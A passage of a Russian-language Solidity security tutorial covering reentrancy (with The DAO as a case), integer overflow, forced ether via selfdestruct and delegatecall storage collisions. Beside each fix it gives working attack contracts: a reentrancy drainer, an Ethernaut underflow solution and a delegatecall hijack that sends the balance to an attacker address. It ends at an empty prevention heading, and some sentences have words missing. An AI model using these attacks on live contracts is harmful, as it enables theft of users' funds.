
Solidity Security
Этот пост задуман как относительно подробное и актуальное вводное руководство, описывающее прошлые ошибки, которые совершали разработчики Solidity, чтобы помочь будущим разработчикам не повторять историю.
Одна из особенностей смарт-контрактов Ethereum — возможность вызывать и использовать код других внешних контрактов. Контракты также обычно работают с эфиром и поэтому часто отправляют эфир на различные внешние адреса пользователей. Операция вызова внешнего контракта или отправки эфира на адрес требует от контракта выполнения внешнего вызова. Такие внешние вызовы могут быть перехвачены атакующими, которые заставляют контракт выполнять дополнительный код (например, через fallback-функцию) , включая вызовы к самому себе. Таким образом, исполнение кода "повторно входит" в контракт. Атаки такого рода были использованы в печально известном взломе DAO.
Для дальнейшего чтения об атаках повторного входа см. Атака Reentrancy на смарт-контракты и Consensus - Лучшие практики для смарт-контрактов Ethereum.
Эта атака может произойти, когда контракт отправляет эфир на неизвестный адрес. Атакующий может тщательно создать контракт на внешнем адресе, содержащий вредоносный код в fallback-функции. Таким образом, когда контракт отправляет эфир на этот адрес, будет вызван вредоносный код. Обычно вредоносный код выполняет функцию на уязвимом контракте, совершая операции, которых разработчик не ожидал. Название "re-entrancy" происходит из того факта, что внешний вредоносный контракт вызывает функцию уязвимого контракта и "повторно входит" в исполнение кода в произвольном месте уязвимого контракта.
Чтобы прояснить это, рассмотрим простой уязвимый контракт, который действует как хранилище Ethereum и позволяет вкладчикам выводить только 1 эфир в неделю.
EtherStore.sol:```solidity contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
Этот контракт имеет две публичные функции: `depositFunds()` и `withdrawFunds()`. Функция `depositFunds()` просто увеличивает баланс отправителя. Функция `withdrawFunds()` позволяет отправителю указать сумму wei для вывода. Она будет выполнена только в том случае, если запрашиваемая сумма вывода меньше 1 ether и за последнюю неделю не было вывода средств. Или нет?...
Уязвимость находится на строке \[17\], где мы отправляем пользователю запрошенное количество ether. Рассмотрим злонамеренного атакующего, создающего следующий контракт,
Attack.sol:```solidity
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// initialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
Давайте посмотрим, как этот вредоносный контракт может использовать наш контракт EtherStore. Атакующий создаст описанный выше контракт (скажем, по адресу 0x0...123) с адресом контракта EtherStore в качестве параметра конструктора. Это инициализирует публичную переменную etherStore и укажет ей на контракт, который мы хотим атаковать.
Затем атакующий вызовет функцию pwnEtherStore() с некоторым количеством эфира (больше или равным 1), скажем, 1 ether для этого примера. В этом примере мы предполагаем, что ряд других пользователей внесли эфир в этот контракт, так что его текущий баланс составляет 10 ether. Далее произойдёт следующее:
Attack.sol - Строка [15] - Будет вызвана функция depositFunds() контракта EtherStore с msg.value равным 1 ether (и большим количеством газа). Отправителем (msg.sender) будет наш вредоносный контракт (0x0...123). Таким образом, balances[0x0..123] = 1 ether.
Attack.sol - Строка [17] - Затем вредоносный контракт вызовет функцию withdrawFunds() контракта EtherStore с параметром 1 ether. Это пройдёт все проверки (Строки [12]-[16] контракта EtherStore), поскольку ранее мы не делали никаких снятий средств.
EtherStore.sol - Строка [17] - Затем контракт отправит 1 ether обратно вредоносному контракту.
Attack.sol - Строка [25] - Эфир, отправленный вредоносному контракту, затем выполнит fallback-функцию.
Конечный результат: атакующий мгновенно, одной транзакцией, вывел весь эфир (кроме 1) из контракта EtherStore.
Существует ряд распространённых техник, которые помогают избежать потенциальных уязвимостей повторного входа в смарт-контрактах. Первая — (когда это возможно) использовать встроенную функцию transfer() при отправке эфира внешним контрактам. Функция transfer отправляет только 2300 gas вместе с внешним вызовом, чего недостаточно для того, чтобы адресат/контракт вызвал другой контракт (т.е. повторно вошёл в отправляющий контракт).
Вторая техника — гарантировать, что вся логика, изменяющая переменные состояния, выполняется до отправки эфира из контракта (или любого внешнего вызова). В примере EtherStore строки [18] и [19] из EtherStore.sol должны быть помещены перед строкой [17]. Хорошей практикой является размещение любого кода, который выполняет внешние вызовы на неизвестные адреса, последней операцией в локализованной функции или фрагменте выполнения кода. Это известно как паттерн checks-effects-interactions.
Третья техника — ввести мьютекс. То есть добавить переменную состояния, которая блокирует контракт во время выполнения кода, предотвращая вызовы повторного входа.
Применение всех этих техник (все три не обязательны, но здесь сделано в демонстрационных целях) к EtherStore.sol даёт контракт, свободный от повторного входа:```solidity
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
<h3 id="re-example">Реальный пример: The DAO</h3>
[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) (Децентрализованная автономная организация) был одним из крупнейших взломов, произошедших на раннем этапе развития Ethereum. В то время контракт содержал более 150 миллионов долларов США. Реентерабельность сыграла главную роль в этой атаке, что в конечном счёте привело к хардфорку, создавшему Ethereum Classic (ETC). Хороший анализ эксплойта The DAO можно найти в [посте Фила Дайана](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/).
<h2 id="ouflow"><span id="SP-2">2. Арифметические переполнения и потери значимости</span></h2>
Виртуальная машина Ethereum (EVM) определяет целочисленные типы данных фиксированного размера. Это означает, что целочисленная переменная может представлять только определённый диапазон чисел. Например, `uint8` может хранить только числа в диапазоне \[0,255\]. Попытка сохранить `256` в `uint8` приведёт к `0`. Если не проявлять осторожность, переменные в Solidity могут быть использованы злоумышленниками, когда пользовательский ввод не проверяется и выполняются вычисления, результаты которых выходят за пределы диапазона типа данных, хранящего их.
Для дополнительного чтения по арифметическим переполнениям и потерям значимости см. [How to Secure Your Smart Contracts](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d), [Ethereum Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) и [Ethereum, Solidity and integer overflows: programming blockchains like 1970](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)
<h3 id="ou-vuln">Уязвимость</h3>
Переполнение или потеря значимости происходит, когда выполняется операция, требующая от переменной фиксированного размера хранить число (или часть данных), выходящее за пределы диапазона типа данных переменной.
Например, вычитание `1` из переменной типа `uint8` (беззнаковое целое из 8 бит, т.е. только положительное), хранящей значение `0`, даст число `255`. Это потеря значимости. Мы присвоили число ниже диапазона `uint8`; результат *заворачивается* и даёт наибольшее число, которое может хранить `uint8`. Аналогично, добавление `2^8=256` к `uint8` оставит переменную без изменений, поскольку мы прошли по кругу всю длину `uint` (для математиков это похоже на прибавление $2\pi$ к углу тригонометрической функции: $\sin(x) = \sin(x+2\pi)$). Добавление чисел, превышающих диапазон типа данных, называется переполнением. Для наглядности: добавление `257` к `uint8`, который в данный момент содержит ноль, даст число `1`. Иногда полезно представлять переменные фиксированных типов как циклические: мы снова начинаем с нуля, если добавляем числа больше максимально возможного сохраняемого значения, и наоборот для нуля (чем больше мы вычитаем из 0, тем большее число отсчитываем вниз от максимального).
Подобные числовые нюансы позволяют злоумышленникам злоупотреблять кодом и создавать непредвиденные логические сценарии. Например, рассмотрим приведённый ниже контракт временной блокировки.
TimeLock.sol:```solidity
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
uint transferValue = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
Этот контракт предназначен для работы как хранилище времени, где пользователи могут вносить эфир в контракт, и он будет заблокирован там как минимум на неделю. Пользователь может продлить время ожидания дольше, чем на 1 неделю, если захочет, но после внесения депозита пользователь может быть уверен, что его эфир надёжно заблокирован как минимум на неделю. Или нет?...
В случае, если пользователь вынужден передать свой закрытый ключ (представьте ситуацию с заложником), такой контракт может быть полезен, чтобы гарантировать недоступность эфира в течение коротких промежутков времени. Если бы пользователь заблокировал 100 ether в этом контракте и передал свои ключи атакующему, атакующий мог бы использовать переполнение, чтобы получить эфир, независимо от lockTime.
Атакующий может определить текущий lockTime для адреса, ключ от которого теперь у него есть (это публичная переменная). Назовём его userLockTime. Затем он может вызвать функцию increaseLockTime и передать в качестве аргумента число 2^256 - userLockTime. Это число будет добавлено к текущему userLockTime и вызовет переполнение, сбрасывая lockTime[msg.sender] в 0. После этого атакующий может просто вызвать функцию withdraw, чтобы получить своё вознаграждение.
Давайте рассмотрим ещё один пример, на этот раз из Ethernaut Challanges.
ПРЕДУПРЕЖДЕНИЕ О СПОЙЛЕРАХ: Если вы ещё не проходили испытания Ethernaut, здесь содержится решение одного из уровней.```solidity pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances; uint public totalSupply;
function Token(uint _initialSupply) { balances[msg.sender] = totalSupply = _initialSupply; }
function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }
function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } }
Это простой контракт токена, в котором используется функция `transfer()`, позволяющая участникам перемещать свои токены. Видите ли вы ошибку в этом контракте?
Недостаток кроется в функции `transfer()`. Требование (`require`) в строке \[13\] можно обойти с помощью андерфлоу. Рассмотрим пользователя, у которого нет баланса. Он может вызвать функцию `transfer()` с любым ненулевым `_value` и пройти проверку `require` в строке \[13\]. Это происходит потому, что `balances[msg.sender]` равен нулю (и имеет тип `uint256`), поэтому вычитание любого положительного количества (кроме `2^256`) даст положительное число из-за андерфлоу, описанного выше. Это также верно для строки \[14\], где наш баланс будет пополнен положительным числом. Таким образом, в этом примере мы получили бесплатные токены из-за уязвимости андерфлоу.
<h3 id="ou-prevention">Методы предотвращения</h3>
Текущий (на данный момент) общепринятый метод защиты от уязвимостей переполнения вниз/вверх — использование или создание математических библиотек, которые заменяют стандартные математические операторы: сложение, вычитание и умножение (деление исключено, поскольку оно не вызывает переполнений вниз/вверх, а EVM откатывает транзакцию при делении на 0).
Команда [OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) проделала отличную работу по созданию и аудиту защищённых библиотек, которые может использовать сообщество Ethereum. В частности, их [Safe Math Library](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) является справочной библиотекой для предотвращения уязвимостей переполнения вниз/вверх.
Чтобы продемонстрировать, как эти библиотеки используются в Solidity, исправим контракт `TimeLock` с помощью библиотеки `SafeMath` от Open Zepplin. Контракт, свободный от переполнений, станет следующим:```solidity
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLock {
using SafeMath for uint; // use the library for uint type
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() public payable {
balances[msg.sender] = balances[msg.sender].add(msg.value);
lockTime[msg.sender] = now.add(1 weeks);
}
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
uint transferValue = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
Обратите внимание, что все стандартные математические операции были заменены операциями, определёнными в библиотеке SafeMath. Контракт TimeLock больше не выполняет ни одной операции, способной вызвать переполнение вниз/вверх.
Группа с 4chan решила, что отличной идеей будет построить схему Понци на Ethereum, написанную на Solidity. Они назвали её Proof of Weak Hands Coin (PoWHC). К сожалению, похоже, что автор(ы) контракта не сталкивались раньше с переполнением вниз/вверх, и в результате из контракта было высвобождено 866 эфиров. Хороший обзор того, как возникает переполнение вниз (которое не слишком отличается от задачи Ethernaut выше), приведён в посте Эрика Банисадара.
Некоторые разработчики также реализовали функцию batchTransfer() в некоторых контрактах токенов ERC20. В реализации содержалось переполнение. Этот пост объясняет это, однако я считаю, что заголовок вводит в заблуждение, поскольку это не имеет никакого отношения к стандарту ERC20; скорее, в некоторых контрактах токенов ERC20 реализована уязвимая функция batchTransfer().
Обычно, когда эфир отправляется на контракт, он должен выполнить либо функцию fallback, либо другую функцию, описанную в контракте. Из этого правила есть два исключения, когда эфир может оказаться в контракте без выполнения какого-либо кода. Контракты, которые полагаются на выполнение кода при каждом отправленном на контракт эфире, могут быть уязвимы к атакам, при которых эфир принудительно отправляется на контракт.
Для дальнейшего чтения по этой теме см. Как защитить свои смарт-контракты: 6 и Шаблоны безопасности Solidity — принудительная отправка эфира на контракт .
Распространённый приём оборонительного программирования, полезный для обеспечения корректных переходов состояний или проверки операций, — это проверка инвариантов. Этот приём заключается в определении набора инвариантов (метрик или параметров, которые не должны изменяться) и проверке того, что эти инварианты остаются неизменными после одной (или многих) операции(й). Обычно это хороший подход при условии, что проверяемые инварианты действительно являются инвариантами. Один из примеров инварианта — totalSupply токена ERC20 с фиксированной эмиссией. Поскольку ни одна функция не должна изменять этот инвариант, можно добавить в функцию transfer() проверку, гарантирующую, что totalSupply остаётся неизменным, чтобы убедиться, что функция работает как ожидается.
В частности, существует один очевидный инвариант, которым может возникнуть соблазн воспользоваться,
но который на самом деле может быть изменён внешними пользователями (независимо от правил,
установленных в смарт-контракте) .Это текущий эфир, хранящийся в
контракте. Часто, когда разработчики впервые изучают Solidity, у них возникает
заблуждение, что контракт может принимать или получать эфир только через payable
функции. Это заблуждение может привести к контрактам, которые имеют ложные
представления о балансе эфира внутри них, что может привести к ряду
уязвимостей. Неопровержимым доказательством этой уязвимости является (некорректное) использование
this.balance. Как мы увидим, некорректное использование this.balance может привести к
серьёзным уязвимостям такого типа.
Существует два способа, которыми эфир может быть (принудительно) отправлен на контракт без использования функции payable или выполнения какого-либо кода в контракте. Они перечислены ниже.
Любой контракт может реализовать функцию selfdestruct(address), которая удаляет весь байт-код с адреса контракта и отправляет весь хранящийся там эфир на адрес, указанный в параметре. Если указанный адрес также является контрактом, ни одна функция (включая fallback) не вызывается. Поэтому функцию selfdestruct() можно использовать для принудительной отправки эфира на любой контракт независимо от того, какой код может существовать в контракте. Это распространяется и на контракты без каких-либо payable-функций. Это означает, что любой злоумышленник может создать контракт с функцией selfdestruct(), отправить на него эфир, вызвать selfdestruct(target) и принудительно отправить эфир на целевой контракт (target). У Мартина Свенде есть отличный пост в блоге, описывающий некоторые особенности опкода self-destruct (Quirk #2), а также описание того, как клиентские узлы проверяли некорректные инварианты, что могло привести к довольно катастрофическому уничтожению клиентов.
Второй способ, которым контракт может получить эфир без использования функции selfdestruct() или вызова каких-либо payable-функций, — это предварительно загрузить адрес контракта эфиром. Адреса контрактов детерминированы: фактически адрес вычисляется из хеша keccak256 (иногда отождествляемого с SHA3) от адреса, создающего контракт, и номера транзакции (nonce), которая создаёт контракт. В частности, он имеет вид: address = sha3(rlp.encode([account_address,transaction_nonce])) (см. Бесключевой эфир для некоторых забавных вариантов использования этого). Это означает, что любой может вычислить, каким будет адрес контракта до его создания, и таким образом отправить эфир на этот адрес. Когда контракт будет создан, он будет иметь ненулевой баланс эфира.
Давайте рассмотрим некоторые ловушки, которые могут возникнуть с учётом приведённых выше знаний.
Рассмотрим чрезвычайно простой контракт,
EtherGame.sol:```solidity contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
require(msg.value == 0.5 ether); // each play is 0.5 ether
uint currentBalance = this.balance + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
// if at a milestone credit the players account
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
return;
}
function claimReward() public {
// ensure the game is complete
require(this.balance == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
uint transferValue = redeemableEther[msg.sender];
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
Этот контракт представляет собой простую игру (которая, естественно, привлекает внимание к [race-conditions](#race-conditions)), в которой игроки отправляют в контракт кванты `0.5 ether`, надеясь стать тем игроком, который первым достигнет одной из трёх вех. Вехи измеряются в эфире. Первый, достигший вехи, может претендовать на часть эфира после окончания игры. Игра заканчивается, когда достигнута финальная веха (`10 ether`), и пользователи могут заявить о своих наградах.
Проблемы с контрактом `EtherGame` связаны с неудачным использованием `this.balance` в строках \[14\] (и, соответственно, \[16\]) и \[32\]. Вредоносный атакующий может принудительно отправить небольшое количество эфира, скажем `0.1 ether`, через функцию `selfdestruct()` (рассмотренную выше), чтобы помешать будущим игрокам достичь вехи. Поскольку все легитимные игроки могут отправлять только приращения `0.5 ether`, `this.balance` больше не будет полуцелыми числами, так как теперь будет включать и взнос `0.1 ether`. Это не позволяет ни одному из условий if в строках \[18\], \[21\] и \[24\] стать истинным.
Что ещё хуже, мстительный атакующий, пропустивший веху, может принудительно отправить `10 ether` (или эквивалентное количество эфира, которое поднимет баланс контракта выше `finalMileStone`), что навсегда заблокирует все награды в контракте. Это происходит потому, что функция `claimReward()` всегда будет откатываться из-за require в строке \[32\] (т.е. `this.balance` больше, чем `finalMileStone`).
<h3 id="ether-prevention">Методы предотвращения</h3>
Данная уязвимость обычно возникает из-за неправильного использования `this.balance`. Логика контракта, когда это возможно, не должна зависеть от точных значений баланса контракта, поскольку баланс можно искусственно манипулировать. Если применяется логика, основанная на `this.balance`, необходимо учитывать непредвиденные балансы.
Если требуются точные значения внесённого эфира, следует использовать собственную переменную, которая увеличивается в payable-функциях для безопасного отслеживания внесённого эфира. На эту переменную не повлияет принудительно отправленный эфир при вызове `selfdestruct()`.
Исходя из этого, исправленная версия контракта `EtherGame` может выглядеть так:```solidity
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
uint public depositedWei;
mapping (address => uint) redeemableEther;
function play() public payable {
require(msg.value == 0.5 ether);
uint currentBalance = depositedWei + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
depositedWei += msg.value;
return;
}
function claimReward() public {
// ensure the game is complete
require(depositedWei == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
uint transferValue = redeemableEther[msg.sender];
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
Здесь мы только что создали новую переменную depositedWei, которая отслеживает известное количество внесённого эфира, и именно к этой переменной мы применяем наши требования и тесты. Обратите внимание, что у нас больше нет никаких ссылок на this.balance.
Я пока не нашёл ни одного примера, который был бы эксплуатирован в реальном мире. Однако несколько примеров эксплуатируемых контрактов были приведены в Underhanded Solidity Contest.
Опкоды CALL и DELEGATECALL полезны тем, что позволяют разработчикам Ethereum модуляризировать свой код. Стандартные внешние вызовы сообщений к контрактам обрабатываются опкодом CALL, при котором код выполняется в контексте внешнего контракта/функции. Опкод DELEGATECALL идентичен стандартному вызову сообщения, за исключением того, что код, выполняемый по целевому адресу, запускается в контексте вызывающего контракта, при этом msg.sender и msg.value остаются неизменными. Эта возможность позволяет реализовывать библиотеки, с помощью которых разработчики могут создавать переиспользуемый код для будущих контрактов.
Хотя различия между этими двумя опкодами просты и интуитивно понятны, использование DELEGATECALL может привести к неожиданному выполнению кода.
Для дополнительного чтения см. Вопрос на Ethereum Stack Exchange, Документацию Solidity и How to Secure Your Smart Contracts: 6.
Сохранение контекста в DELEGATECALL доказало, что создание собственных библиотек без уязвимостей не так просто, как можно подумать. Код в самих библиотеках может быть безопасным и не содержать уязвимостей, однако при выполнении в контексте другого приложения могут возникнуть новые уязвимости. Давайте рассмотрим довольно сложный пример этого на числах Фибоначчи.
Рассмотрим следующую библиотеку, которая может генерировать последовательность Фибоначчи и последовательности подобного вида.
FibonacciLib.sol[^1]```solidity
// library contract - calculates fibonacci-like numbers;
contract FibonacciLib {
// initializing the standard fibonacci sequence;
uint public start;
uint public calculatedFibNumber;
// modify the zeroth number in the sequence
function setStart(uint _start) public {
start = _start;
}
function setFibonacci(uint n) public {
calculatedFibNumber = fibonacci(n);
}
function fibonacci(uint n) internal returns (uint) {
if (n == 0) return start;
else if (n == 1) return start + 1;
else return fibonacci(n - 1) + fibonacci(n - 2);
}
}
Эта библиотека предоставляет функцию, которая может генерировать *n*-е число Фибоначчи в последовательности. Она позволяет пользователям изменять начальное число последовательности (`start`) и вычислять *n*-е числа, подобные числам Фибоначчи, в этой новой последовательности.
Теперь давайте рассмотрим контракт, который использует эту библиотеку.
`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {
address public fibonacciLibrary;
// the current fibonacci number to withdraw
uint public calculatedFibNumber;
// the starting fibonacci sequence number
uint public start = 3;
uint public withdrawalCounter;
// the fibonancci function selector
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
// constructor - loads the contract with ether
constructor(address _fibonacciLibrary) public payable {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() {
withdrawalCounter += 1;
// calculate the fibonacci number for the current withdrawal user
// this sets calculatedFibNumber
require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
msg.sender.transfer(calculatedFibNumber * 1 ether);
}
// allow users to call fibonacci library functions
function() public {
require(fibonacciLibrary.delegatecall(msg.data));
}
}
Этот контракт позволяет участнику вывести ether из контракта, причём сумма ether равна числу Фибоначчи, соответствующему порядковому номеру вывода участника; т.е. первый участник получает 1 ether, второй тоже получает 1, третий — 2, четвёртый — 3, пятый — 5 и так далее (пока баланс контракта не станет меньше числа Фибоначчи, которое выводится).
В этом контракте есть ряд элементов, которые могут потребовать пояснений. Во-первых, здесь есть интересно выглядящая переменная fibSig. Она хранит первые 4 байта хеша Keccak (SHA-3) строки "setFibonacci(uint256)". Это называется селектором функции и помещается в calldata, чтобы указать, какая функция смарт-контракта будет вызвана. Он используется в функции delegatecall в строке [21], чтобы указать, что мы хотим выполнить функцию setFibonacci(uint256). Второй аргумент в delegatecall — это параметр, который мы передаём функции. Во-вторых, мы предполагаем, что адрес библиотеки FibonacciLib корректно указан в конструкторе (в разделе Внешние ссылки на контракты обсуждаются некоторые потенциальные уязвимости, связанные с такой инициализацией ссылок на контракты).
Можете ли вы заметить какие-либо ошибки в этом контракте? Если вы поместите этот контракт в Remix, заполните его ether и вызовете withdraw(), он, скорее всего, выполнит revert.
Вы могли заметить, что переменная состояния start используется и в библиотеке, и в основном вызывающем контракте. В библиотечном контракте start используется для указания начала последовательности Фибоначчи и установлена в 0, тогда как в контракте FibonacciBalance она установлена в 3. Вы также могли заметить, что fallback-функция в контракте FibonacciBalance позволяет передавать все вызовы библиотечному контракту, что также позволяет вызывать функцию setStart() библиотечного контракта. Вспоминая, что состояние контракта сохраняется, может показаться, что эта функция позволила бы изменить состояние переменной start в локальном контракте FibonnacciBalance. Если бы это было так, это позволило бы вывести больше ether, поскольку результирующий calculatedFibNumber зависит от переменной start (как видно в библиотечном контракте). На самом деле функция setStart() не изменяет (и не может изменить) переменную в контракте . Лежащая в основе этого контракта уязвимость значительно серьёзнее, чем просто изменение переменной .
Прежде чем обсуждать саму проблему, сделаем краткое отступление, чтобы понять, как переменные состояния (storage-переменные) на самом деле хранятся в контрактах. Переменные состояния или storage-переменные (переменные, которые сохраняются между отдельными транзакциями) размещаются в slots последовательно, по мере их появления в контракте. (Здесь есть некоторые сложности, и я рекомендую читателю прочитать раздел Расположение переменных состояния в хранилище для более полного понимания).
В качестве примера рассмотрим библиотечный контракт. У него есть две переменные состояния: start и calculatedFibNumber. Первая переменная — start, и поэтому она сохраняется в хранилище контракта в slot[0] (т.е. в первом слоте). Вторая переменная, calculatedFibNumber, размещается в следующем доступном слоте хранилища, slot[1]. Если мы посмотрим на функцию setStart(), она принимает входное значение и устанавливает start равным этому входному значению. Таким образом, эта функция устанавливает slot[0] равным тому значению, которое мы передаём в функцию setStart(). Аналогично, функция setFibonacci() устанавливает calculatedFibNumber равным результату fibonacci(n). Опять же, это просто установка слота хранилища в значение .
Теперь посмотрим на контракт FibonacciBalance. Слот хранилища slot[0] теперь соответствует адресу fibonacciLibrary, а slot[1] соответствует calculatedFibNumber. Именно в этом неверном сопоставлении и возникает уязвимость. delegatecall сохраняет контекст контракта. Это означает, что код, выполняемый через delegatecall, будет воздействовать на состояние (т.е. хранилище) вызывающего контракта.
Теперь обратите внимание, что в withdraw() в строке [21] мы выполняем fibonacciLibrary.delegatecall(fibSig,withdrawalCounter). Это вызывает функцию setFibonacci(), которая, как мы обсуждали, изменяет слот хранилища slot[1], которым в нашем текущем контексте является calculatedFibNumber. Это ожидаемо (т.е. после выполнения calculatedFibNumber корректируется). Однако вспомним, что переменная start в контракте FibonacciLib находится в слоте хранилища slot[0], который в текущем контракте является адресом fibonacciLibrary. Это означает, что функция fibonacci() даст неожиданный результат. Причина в том, что она ссылается на start (slot[0]), который в текущем контексте вызова является адресом (а он, как правило, довольно велик при интерпретации как ). Поэтому функция , скорее всего, выполнит revert, поскольку в контракте не окажется суммы ether, равной , а именно это вернёт .
Что ещё хуже, контракт FibonacciBalance позволяет пользователям вызывать все функции fibonacciLibrary через fallback-функцию в строке [26]. Как мы уже обсуждали, это включает функцию setStart(). Мы говорили, что эта функция позволяет любому изменять или устанавливать слот хранилища slot[0]. В данном случае слот хранилища slot[0] — это адрес fibonacciLibrary. Таким образом, злоумышленник может создать вредоносный контракт (пример такого контракта приведён ниже), преобразовать адрес в uint (в Python это легко сделать с помощью int('<address>',16)) и затем вызвать setStart(<attack_contract_address_as_uint>). Это изменит fibonacciLibrary на адрес атакующего контракта. После этого, когда любой пользователь вызовет withdraw() или fallback-функцию, вредоносный контракт будет выполнен (и сможет украсть весь баланс контракта), поскольку мы изменили фактический адрес fibonacciLibrary. Пример такого атакующего контракта:```solidity
contract Attack {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber
// fallback - this will run if a specified function is not found
function() public {
storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
// is called we don't send out any ether.
<attacker_address>.transfer(this.balance); // we take all the ether
}
}
Обратите внимание, что этот атакующий контракт изменяет `calculatedFibNumber` путём изменения `slot[1]` хранилища. В принципе, злоумышленник может изменить любые другие слоты хранилища по своему выбору, чтобы проводить всевозможные атаки на этот контракт. Я призываю всех читателей помещать эти контракты в [Remix](https://remix.ethereum.org) и экспериментировать с различными атакующими контрактами и изменениями состояния через эти функции `delegatecall`.
Также важно заметить, что когда мы говорим, что `delegatecall` сохраняет состояние, мы имеем в виду не имена переменных контракта, а фактические слоты хранилища, на которые указывают эти имена. Как видно из этого примера, простая ошибка может привести к тому, что злоумышленник захватит весь контракт и его эфир.
<h3 id="dc-prevention">Методы предотвращения</h3>
